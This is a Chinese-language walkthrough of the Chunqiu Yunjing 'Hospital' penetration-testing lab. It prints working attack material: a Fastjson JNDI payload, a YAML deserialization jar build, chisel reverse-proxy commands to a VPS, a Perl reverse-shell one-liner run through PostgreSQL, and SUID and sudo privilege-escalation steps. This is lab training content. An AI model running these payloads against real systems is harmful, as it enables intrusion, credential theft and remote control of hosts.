内网渗透 -春秋云镜篇之Hospital

原文由作者授权发表,首发在:先知社区

https://xz.aliyun.com/t/13463

外网打点

信息搜集

Fscan扫描一下

发现jsessionid=xxx,明显的Shiro特征,同时发现有acatuator泄露。

漏洞探测

访问网站,弱口令直接登进行了,但是没啥东西

搞搞Shiro漏洞,尝试工具一把梭,寻找下密钥

没找到,呃,总不能是Shiro721吧,但确实此时登录过后,有对应的Cookie,满足爆破的条件了,抱着怀疑的态度进行了爆破。

然后同时想起之前的actuator泄露,找了找RCE相关的,像env,refresh,gateway这些接口都没有,然后就到了我们的信息泄露环节了。

之前实战渗透的时候通杀过heapdump泄露,所以记忆犹新,这里用的是heapdump_tool.jar工具

代码语言:javascript
复制
java -jar heapdump_tool.jar "heapdump"

搜了搜关键词passowrdshiro,key这些,没有数据库账密也没有泄露Key,任何发现都没有

想着会不会是工具的问题,于是换了一个工具,改用JdumpSpirder,https://github.com/whwlsfb/JDumpSpider/releases

再次寻找成功发现ShiroKey

得到密钥GAYysgMQhG7/CziJlVpR2g==

漏洞利用

接下来使用工具指定密钥梭哈一下。

接下来尝试写入内存马

执行命令

有一些不方便,用冰蝎的反弹shell功能弹到vps上

提权

代码语言:javascript
复制
find / -user root -perm -4000 -print 2>/dev/null

发现vim,直接猜测一手flag位置

代码语言:javascript
复制
vim /root/flag/flag01.txt

内网探测

上线VIPER

信息搜集

上传Fscan进行内网网段扫描

代码语言:javascript
复制
meterpreter > shell -c './fscan -h 172.30.12.5/24'

/ _ \ ___ ___ _ __ __ _ | | __
/ /
/
/ |/ | '/ ` |/ __| |/ /
/ /
\
____
\ (__| | | (
| | (| <
_
/ |/_|| _,|___||_\
fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.30.12.6 is alive
(icmp) Target 172.30.12.5 is alive
(icmp) Target 172.30.12.236 is alive
[] Icmp alive hosts len is: 3
172.30.12.236:22 open
172.30.12.5:22 open
172.30.12.236:8080 open
172.30.12.5:8080 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.6:8848 open
172.30.12.236:8009 open
[
] alive ports len is: 9
start vulscan
[] NetBios 172.30.12.6 WORKGROUP\SERVER02
[
] NetInfo
[]172.30.12.6
[->]Server02
[->]172.30.12.6
[
] WebTitle http://172.30.12.5 code:302 len:0 title:None 跳转url: http://172.30.12.5/login;jsessionid=A60E466BB515111EA9813AD488333B5B
[*] WebTitle http://172.30.12.5/login;jsessionid=A60E466BB515111EA9813AD488333B5B code:200 len:2005 title:医疗管理后台
[*] WebTitle http://172.30.12.6 code:404 len:431 title:HTTP Status 404 – Not Found
[*] WebTitle http://172.30.12.236 code:200 len:3964 title:医院后台管理平台
[+] PocScan http://172.30.12.6 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6 poc-yaml-alibaba-nacos-v1-auth-bypass
[+] PocScan http://172.30.12.5 poc-yaml-spring-actuator-heapdump-file

代理搭建

VPS端

代码语言:javascript
复制
./chisel server -p 7000 -reverse

靶机

代码语言:javascript
复制
./chisel client 119.3.215.198:7000 R:0.0.0.0:7001:socks

攻击域用户一(nacos Yaml反序列化)

信息泄露

在Fscan扫描结果中发现

代码语言:javascript
复制
[+] PocScan http://172.30.12.6 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6 poc-yaml-alibaba-nacos-v1-auth-bypass

所以尝试一下用户登录绕过漏洞

成功获取账密,再尝试写入用户test

进行登录

成功登录

不过这些不足以实现RCE,后端也没什么东西,搜索相关漏洞发现两个,一个是内存马注入,一个是Yaml反序列化。

尝试内存马

尝试用工具写入内存马

没写进去,那八成是Yaml反序列化了。

尝试Yaml反序列化攻击

工具利用

https://github.com/artsploit/yaml-payload/

下载之后打成jar包

代码语言:javascript
复制
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

在Nacos发现dataiddb-config

写入到里面,然后Jar的路径的话,我们这里需要上传到靶机,因为这个靶机不出网,我们只能让他访问内网上的,所以我们需要先讲jar包放到靶机,然后再在靶机上开启http服务

这里成功收到回显,说明确实存在Yaml反序列化漏洞,但是我们需要改一下yaml-payload中的Java文件

可以看到这里本来是弹计算器的,没啥作用,我们改为添加一个管理员用户的

然后改完后再保存再打为jar包

代码语言:javascript
复制
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

同样再上传jar包到靶机再打一次

此时就可以RDP连接了

攻击域用户二(Fastjson)

信息搜集

Mimikatz抓下密码发现都是在工作组。

漏洞探测

我们在Fscan中还发现另一个存在Web服务的

代码语言:javascript
复制
[*] WebTitle http://172.30.12.236 code:200 len:3964   title:医院后台管理平台

访问

使用dirsearch扫一下目录,发现docs,examples这些

访问docs看一下Tomcat版本

这个版本的Tomcat存在着文件包含漏洞,如果有上传点就可以实现文件包含进而达到RCE目的(之前一个靶场的思路)。但这里题目描述中提到了fastjson,我们抓一下它的包,内容只写一个{,如果是Fastjson,不完整的时候就会出现Fastjson

出现了Fastjson,说明确实是Fastjson,接下来用dnslog探测一下是否存在漏洞

代码语言:javascript
复制
{"qwq":{"@type":"java.net.Inet4Address","val":"4mmi9n.dnslog.cn"}}

成功收到回显,说明存在Fastjson漏洞。

漏洞利用

接下来使用工具jndi_tool.jar部署恶意类(在靶机上部署,因为域成员可能不出网),工具链接https://github.com/wyzxxz/jndi_tool

同时在靶机上监听12345端口,待会用于接收shell,然后按如下Payload发包

代码语言:javascript
复制
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://172.30.12.5/Object",
"autoCommit":true
}
}

成功收到shell,且是root权限

攻击域用户三(Grafana+psql)

信息搜集

ifconfig发现多张网卡

上传Fscan扫一下

代码语言:javascript
复制
root@web03:/# ./fscan -h 172.30.54.179/24


/ _ \ ___ ___ _ __ __ _ | | __
/ /
/
/ |/ | '/ ` |/ __| |/ /
/ /
\
____
\ (__| | | (
| | (| <
_
/ |/_|| _,|___||_\
fscan version: 1.8.3
start infoscan
(icmp) Target 172.30.54.179 is alive
(icmp) Target 172.30.54.12 is alive
[] Icmp alive hosts len is: 2
172.30.54.179:8009 open
172.30.54.12:22 open
172.30.54.179:22 open
172.30.54.12:3000 open
172.30.54.12:5432 open
172.30.54.179:8080 open
[
] alive ports len is: 6
start vulscan
[] WebTitle http://172.30.54.179 code:200 len:3964 title:医院后台管理平台
[
] WebTitle http://172.30.54.12 code:302 len:29 title:None 跳转url: http://172.30.54.12/login
[*] WebTitle http://172.30.54.12/login code:200 len:27909 title:Grafana

发现另一个域用户,但是这个不同于之前的网段,因此我们需要搭建多层代理。

多层代理搭建

我们的第一层代理是VPS作为服务端,外网靶机作为客户端来搭建的,那么我们在搭建第二层的话,以外网靶机作为服务端,然后以域用户二作为客户端,此时就实现了多层代理

代码语言:javascript
复制
VPS->外网靶机->域用户2->域用户3

所以接下来直接在外网靶机上搭建服务端,指令如下

代码语言:javascript
复制
./chisel server -p 7001 --reverse

再在域用户二上搭建客户端

代码语言:javascript
复制
./chisel client 172.30.12.5:7001 R:0.0.0.0:7000:socks

此时就搭建好了

代码语言:javascript
复制
外网->119.3.215.198:7001(VPS)->172.30.12.5:7000(域用户二)->172.30.54.12(域用户三)

我们改下配置文件

接下来尝试curl用户三

成功,在WindowsProxifier挂上代理链即可

尝试访问域用户三

漏洞探测

登录框肯定尝试弱口令,以admin,admin成功登入

漏洞利用

搜索相关漏洞发现CVE-2021-43798,使用工具直接提取敏感信息,工具链接https://github.com/A-D-Team/grafanaExp

代码语言:javascript
复制
./grafanaExp_linux_amd64 exp -u "xxx"

需要注意的是我这里是用域用户二执行的命令,用本机然后通过代理执行经常卡住。

获取到PostgreSQL账密

代码语言:javascript
复制
postgres:Postgres@123

通过Proxifier全局代理,使用Navicat进行连接

数据库连接

查询数据库版本

代码语言:javascript
复制
select version();

得知数据库为8.1版本,接下来改下root用户密码

搜索相关版本发现

所以我们这里调用相关命令

接下来借助命令执行实现反弹shell

反弹Shell

这里反弹到我们的域用户二上,因为他和域用户三是在同一网段下的,我们先监听下它的某个端口。

然后在Navicat上执行指令如下

代码语言:javascript
复制
select system('perl -e &#39;use Socket;i=&#34;172.30.54.179&#34;;p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(p,inet_aton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};&#39;');

成功反弹shell,通过python3 -c 'import pty;pty.spawn("/bin/bash")'获取交互式shell

提权

但是目前只是普通权限,需要进行提权,通过执行sudo -l发现psql

参考https://gtfobins.github.io/gtfobins/psql/

所以接下来登入psql

代码语言:javascript
复制
sudo /usr/local/postgresql/bin/psql
代码语言:javascript
复制
root=# ?
!/bin/bash
#需要输入的就是? 和!/bin/bash

而后即可获取root权限,在root/flag目录下得到flag